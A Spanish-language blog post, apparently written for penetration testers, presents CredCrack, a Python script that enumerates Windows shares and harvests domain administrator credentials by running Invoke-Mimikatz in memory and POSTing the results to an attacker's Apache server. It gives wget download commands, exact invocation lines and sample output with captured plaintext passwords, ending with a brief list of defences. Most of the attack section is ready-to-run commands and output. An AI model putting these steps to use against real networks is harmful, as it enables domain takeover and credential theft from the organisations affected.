Consigue las credenciales del administrador de dominio en tan sólo 17 segundos con CredCrack

CredCrack es un script en Python de Jonathan Broche (@g0jhonny) que podemos usar para enumerar los recursos compartidos y recopilar rápidamente las credenciales de los servidores Windows de una red. Podríamos decir que es silencioso en cuanto a que carga las credenciales en memoria sin escribir a disco, y que también puede ser bastante rápido; en el siguiente vídeo se obtienen las credenciales de administrador de dominio en tan sólo 17 segundos:

Básicamente su funcionamiento es el siguiente:

- Inicia automáticamente el servicio de apache y despliega dos archivos en el directorio /var/www: fun.ps1 y creds.php.
- Valida la lista de IPs para asegurarse de que se llega a cada una de ellas y que tienen el puerto 445 abierto.
- Si se ha especificado el parámetro '-es' enumerará los recursos compartidos: smbclient -L //{} -U '{}/{}%{}'
- Consulta la lista de administradores de dominio de los sistemas alcanzables: net group \"Domain Admins\" /domain
- Lanza el script en powershell fun.ps1 que ejecuta mimikatz en memoria con Invoke-Mimikatz.ps1 y luego envía las credenciales mediante una petición POST que creds.php intercepta.
- Continua recopilando las credenciales de todos los sistemas provistos y cruza los usuarios obtenidos con la lista de administradores de dominio que había obtenido anteriormente.
- Finalmente muestra los resultados y se cierra limpiamente.


CredCrack funciona con las herramientas nativas de Kali Linux y para usarlo sólo tenemos que bajarnos el script de GitHub: 
 
wget https://raw.githubusercontent.com/gojhonny/CredCrack/master/credcrack.py

y descargar en el directorio /var/www el script en Powershell Invoke-Mimikatz.ps1 de Joe Bialek (@JosephBialek):
 
wget https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 -O /var/www/Invoke-Mimikatz.ps1

Luego para enumerar recursos compartidos:

./credcrack.py -r 192.168.1.100 -d acme -u bob -es
Password:
 ---------------------------------------------------------------------
  CredCrack v1.0 by Jonathan Broche (@g0jhonny)
 ---------------------------------------------------------------------

[*] Validating 192.168.1.102
[*] Validating 192.168.1.103
[*] Validating 192.168.1.100

 -----------------------------------------------------------------
 192.168.1.102 - Windows 7 Professional 7601 Service Pack 1 
 -----------------------------------------------------------------

 OPEN      \\192.168.1.102\ADMIN$ 
 OPEN      \\192.168.1.102\C$ 

 -----------------------------------------------------------------
 192.168.1.103 - Windows Vista (TM) Ultimate 6002 Service Pack 2 
 -----------------------------------------------------------------

 OPEN      \\192.168.1.103\ADMIN$ 
 OPEN      \\192.168.1.103\C$ 
 CLOSED    \\192.168.1.103\F$ 

 -----------------------------------------------------------------
 192.168.1.100 - Windows Server 2008 R2 Enterprise 7601 Service Pack 1 
 -----------------------------------------------------------------

 CLOSED    \\192.168.1.100\ADMIN$ 
 CLOSED    \\192.168.1.100\C$ 
 OPEN      \\192.168.1.100\NETLOGON 
 OPEN      \\192.168.1.100\SYSVOL 

[*] Done! Completed in 0.8s

Y para recopilar credenciales:

./credcrack.py -f hosts -d acme -u bob -l 192.168.1.100
Password:

 ---------------------------------------------------------------------
  CredCrack v1.0 by Jonathan Broche (@g0jhonny)
 ---------------------------------------------------------------------

[*] Setting up the stage
[*] Validating 192.168.1.102
[*] Validating 192.168.1.103
[*] Querying domain admin group from 192.168.1.102
[*] Harvesting credentials from 192.168.1.102
[*] Harvesting credentials from 192.168.1.103

                  The loot has arrived...
                         __________
                        /\____;;___\    
                       | /         /    
                       `. ())oo() .      
                        |\(%()*^^()^\       
                       %| |-%-------|       
                      % \ | %  ))   |       
                      %  \|%________|       


[*] Host: 192.168.1.102 Domain: ACME User: jsmith Password: Good0ljm1th
[*] Host: 192.168.1.103 Domain: ACME User: daguy Password: P@ssw0rd1!

     1 domain administrators found and highlighted in yellow above!

[*] Cleaning up
[*] Done! Loot may be found under /root/CCloot folder
[*] Completed in 11.3s

Podríamos hacer prácticamente lo mismo con otras herramientas, pero sin duda este script resulta muy útil y facilita el trabajo. Eso sí, para que funcione y podamos obtener las contraseñas en claro necesitaremos ejecutarla con un administrador local, algo que podemos comprobar previamente al enumerar los recursos compartidos (-es). 


"Pues vaya entonces...", dirás, pero piensa que nos puede servir para "elevar privilegios" a nivel de dominio o quizás podríamos haber obtenido simplemente un prompt con un usuario con permisos o haber reutilizado un hash, etc.

¿Y cómo podemos defendernos ante estos ataques? Pues un poco lo de siempre para evitar Mimikatz y técnicas Pass-the-hash:


- Usar usuarios como los mínimos permisos posibles o Enforce Least User Access (LUA)
- Usar un script que compruebe diariamente los usuarios con permisos administrativos
- Crear contraseñas teniendo en cuenta las buenas prácticas que aseguren un mínimo de complejidad
- No validarse en estaciones de trabajo con administradores de dominio
- Segmentar la red para separar los puestos de usuario de los servidores y controlar adecuadamente el tráfico mediante firewalls.
- Usar NIDS.
- Desactivar WDigest
- En Windows 8+ y Server 2012 no usar NTLM. no cachear Windows Digest y reducir el tiempo de vida de los TGT de Kerberos

GitHub: https://github.com/gojhonny/CredCrack

Fuentes:
- Domain Administrator in 17 seconds 
- Preventing CredCrack, Mimikatz, Pass-the-Hash and more
- Dumping a Domain’s Worth of Passwords With Mimikatz pt. 2 
- Auto-Dumping Domain Credentials using SPNs, PowerShell Remoting, and Mimikatz

2 comentarios :

  1. muy bueno. un pequeño error. --es por -es
    ./credcrack.py -r 192.168.1.100 -d acme -u bob -es
    saludos

    ResponderEliminar